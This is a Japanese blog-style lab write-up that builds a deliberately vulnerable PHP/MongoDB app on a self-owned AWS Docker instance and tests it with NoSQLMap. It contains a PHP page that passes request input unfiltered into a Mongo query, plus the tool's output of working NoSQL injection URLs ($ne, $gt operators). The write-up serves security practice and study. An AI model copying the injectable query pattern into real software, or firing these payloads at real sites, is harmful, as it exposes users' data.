NoSQLMapを試してみる

# 概要
NoSQLMapとというMongoDBなどNOSQLのデータベースインジェクションツールを試したくなったので、サイバーセキュリティ完全ガイド(注1)を参考に環境を作成しました。
この書籍との本環境の違いは、UbuntuではなくCentOSで環境構築した点と、侵入テスト用Webアプリケーションで利用されていたPHP拡張モジュールMongoClientクラスが非推奨となっていたのでMongoDB\Driver\Managerを利用しプログラムを微修正した点です。

# 環境準備

#### 事前準備

事前に以下を実施しております。
・AWSとDockerHubのアカウントの作成
・作業マシン(kali)にdocker-machine、gitをインストール

※上記については(注2)で設定ずみです。

#### Dockerイメージ作成

・作業マシンでBaseのDockコンテナの起動

```
$ sudo docker pull centos:centos6.10
$ sudo docker run -it centos:centos6.10
```


・コンテナ上でMongoDB以外のパッケージをダウンロード&インストール

```
# yum install epel-release
# rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-6.rpm
# yum -y --enablerepo=epel --enablerepo=remi --enablerepo=remi-php56 install php php-devel php-pear httpd
# pecl install mongo
```


・php.iniに以下設定を追加

```/etc/php.ini
extension=mongo.so
```


・MongoDBインストールのためにYumのリポジトリを設定

```/etc/yum.repos.d/mongodb-org-4.2.repo
[mongodb-org-4.2]
name=MongoDB Repository
baseurl=https://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/4.2/x86_64/
gpgcheck=1
enabled=1
gpgkey=https://www.mongodb.org/static/pgp/server-4.2.asc
```


・MongoDBのインストール

```
# yum -y install mongodb-org
```

・mongodb.confに以下設定

```/etc/mongodb.conf
bindIp: 0.0.0.0
```


・MongoDBを起動し、テスト用DBを作成

```
# /etc/init.d/mongod start
# mongo
> use appUserData
switched to db appUserData
> db.createCollection("users")
{ "ok" : 1 }
> show collections
users
> db.users.insert({"name":"james","username":"james","email":"james@suck.testlab"})
WriteResult({ "nInserted" : 1 })
> db.users.insert({"name":"frank","username":"frank","email":"frank@suck.testlab"})
WriteResult({ "nInserted" : 1 })
> db.users.insert({"name":"paul","username":"paul","email":"paul@suck.testlab"})
WriteResult({ "nInserted" : 1 })
> exit
bye
```


・テスト用のWebアプリケーションの設置

```
# git clone https://github.com/cheetz/NoSQL_Test.git /opt/NoSQL_Test
# mkdir /var/www/vuln_apps
# mv /opt/NoSQL_Test/userdata.php /var/www/vuln_apps/
```

・ **userdata.php**の修正

```PHP:userdata.php 
<!DOCTYPE html>
<html>

<head>
<title>User Profile Lookup</title>
</head>

<body>
<?php
if (isset($_GET['usersearch']) && !empty($_GET['usersearch'])) {
   try {
        $result = "";
        $manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
        $filter = ['username' => $_GET['usersearch']];
        print '<br/>';
        $query = new MongoDB\Driver\Query($filter);
        $res = $manager->executeQuery('appUserData.users', $query);
        $user = current($res->toArray());
        if (!empty($user)) {
            echo 'Name: ' . $user->name . '<br/>';
            echo 'Username: ' . $user->username . '<br/>';
            echo 'Email: ' . $user->email . '<br/>';
        } else {
            echo "User not found.";
        }
        echo '<br/>';
    } catch (MongoConnectionException $e) {
        die('Error connecting to MongoDB server : ' . $e->getMessage());
    } catch (MongoException $e) {
        die('Error: ' . $e->getMessage());
    }
}
?>

<b>Enter your username:</b><br>                
<form method="get" id="usersearch">
<p>Search <input type="text" name="usersearch" id="usersearch" /> <input type="submit" name="submitbutton" value="Submit" /></p>
</form>
</body>
</html>

```


・ Apacheの起動

```
# /etc/init.d/httpd start
```


・作業マシン上のDockerイメージをDockerHubにアップロード

```
// Dockerイメージを作成
$ sudo docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS                  NAMES
9fe6f5113480        contos6.10:mongo    "/bin/bash"         40 hours ago        Up 40 hours         0.0.0.0:8080->80/tcp   naughty_bartik
$ sudo docker commit -m "NoSQLMap TEST" 9fe6f5113480 stcmjp/centos6.10_mongo4.2.6

// DockerHubにログインしPUSH
$ sudo docker login
$ sudo docker images
REPOSITORY                     TAG                 IMAGE ID            CREATED             SIZE
stcmjp/centos6.10_mongo4.2.6   latest              49832a177ef7        40 seconds ago      1.8GB
$ sudo docker push stcmjp/centos6.10_mongo4.2.6:latest

```


・AWS上のEC2にDockerコンテナ作成

```
// インスタンスの作成
$ docker-machine create --driver amazonec2 --amazonec2-open-port 8888 --amazonec2-region ap-northeast-1 aws-sandbox

// 環境変数を設定
$ eval $(docker-machine env aws-sandbox)

// インスタンスを確認
$ docker-machine ls
NAME          ACTIVE   DRIVER      STATE     URL                        SWARM   DOCKER     ERRORS
aws-sandbox   *        amazonec2   Running   tcp://18.177.XXX.XXX:2376           v19.03.8

// インスタンス上にDockerイメージを取得しコンテナを生成
$ docker $(docker-machine config aws-sandbox) run -d -p 8888:80 --name nosqlmap stcmjp/centos6.10_mongo4.2.6

// AWS上のインスタンスに接続
$ docker-machine ssh aws-sandbox

// Dockerイメージとコンテナの状態を確認
ubuntu@aws-sandbox:~$ sudo su -
root@aws-sandbox:~# docker images
REPOSITORY                     TAG                 IMAGE ID            CREATED             SIZE
stcmjp/centos6.10_mongo4.2.6   latest              49832a177ef7        21 minutes ago      1.8GB

root@aws-sandbox:~# docker ps -a
CONTAINER ID        IMAGE                          COMMAND             CREATED             STATUS                     PORTS               NAMES
6b25e095bc22        stcmjp/centos6.10_mongo4.2.6   "/bin/bash"         6 minutes ago       Exited (0) 6 minutes ago                       nosqlmap

// インスタンス上でコンテナを起動
root@aws-sandbox:~# docker run -i -t -p 8888:80 -t stcmjp/centos6.10_mongo4.2.6 /bin/bash

// コンテナでMongoDBとApacheを起動
[root@f1e1ce1e5b7c /]# /etc/init.d/mongod start
[root@f1e1ce1e5b7c /]# /etc/init.d/httpd start
```

※イメージ作成時にMongoDBの停止を忘れたので/var/run/mongodb/mongod.pid ファイルの削除しております。



# 侵入テスト

#### NoSQLMap

・ NoSQLMapの起動

```
// 作業マシンにNoSQLMapをダウンロードして起動する
# git clone https://github.com/tcstool/NoSQLMap.git /opt/NoSQL
# cd /opt/NoSQL
# python nosqlmap.py
```

※起動すると以下の用にインタラクティブインターフェースが表示されます。
![nosqlmap_start_20200505.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/598956/ee4bb2e7-2805-5320-c86e-bab4077ff231.png)


・ オプションの設定

１を入力して、「1-Set options」を選択します。
(以下設定サンプルです)

```
Options
1-Set target host/IP (Current: 18.177.XXX.XXX)
2-Set web app port (Current: 8888)
3-Set App Path (Current: /vuln_apps/userdata1.php?usersearch=paul&submitbutton=Submit)
4-Toggle HTTPS (Current: OFF)
5-Set MongoDB Port (Current : 27017)
6-Set HTTP Request Method (GET/POST) (Current: GET)
7-Set my local MongoDB/Shell IP (Current: 192.168.XXX.XXX)
8-Set shell listener port (Current: 4444)
9-Toggle Verbose Mode: (Current: OFF)
0-Load options file
a-Load options from saved Burp request
b-Save options file
h-Set headers
x-Back to main menu
```


・NoSQL Web App attacksを選択

3を入力して、「3-NoSQL Web App attacks」を選択します。
(以下設定サンプルです)

```
1-Set options
2-NoSQL DB Access Attacks
3-NoSQL Web App attacks
4-Scan for Anonymous MongoDB Access
5-Change Platform (Current: MongoDB)
x-Exit
Select an option: 3
Web App Attacks (GET)
===============
Checking to see if site at 18.177.XXX.XXX:8888/vuln_apps/userdata1.php?usersearch=paul&submitbutton=Submit is up...
App is up!
```


・以下攻撃用のオプションを設定

1. 5を入力して、攻撃用のランダム文字列を設定する
2. 1を入力して、攻撃用のランダム文字列にアルファベットと数字を含める
3. 1を入力して、攻撃対象のパラメータをusersearchに設定する
(以下設定サンプルです)

```
Baseline test-Enter random string size: 5
What format should the random string take?
1-Alphanumeric
2-Letters only
3-Numbers only
4-Email address
Select an option: 1
Using WwFgn for injection testing.

List of parameters:
1-usersearch
2-submitbutton
Enter parameters to inject in a comma separated list:  1
```


・出力結果

```
Vulnerable URLs:

Possibly vulnerable URLs:
http://18.177.XXX.XXX:8888/vuln_apps/userdata1.php?usersearch%5B%24ne%5D%3DWwFgn%26submitbutton%3DSubmit
http://18.177.XXX.XXX:8888/vuln_apps/userdata1.php?usersearch%5B%24gt%5D%3D%26submitbutton%3DSubmit
```

前述のVulnerable URLs の一つをWEBブラウザに入力するとjamesユーザのデータが表示されました。

![nosqlmap_injection_20200505.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/598956/24679b33-070c-731a-d241-919ca6e02331.png)


# 編集後記
1ユーザのみの列挙となってしましましたが、時間がありましたらもっと気の利いたWebアプリケーションを準備したいところです。


# 参照
[注1 サイバーセキュリティテスト完全ガイド](https://www.amazon.co.jp/dp/B01N7A0TFV/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1)
[注2 AWS上でApache Killerを試すが](https://qiita.com/stcmjp/items/e8ad140b6a58a41f6784)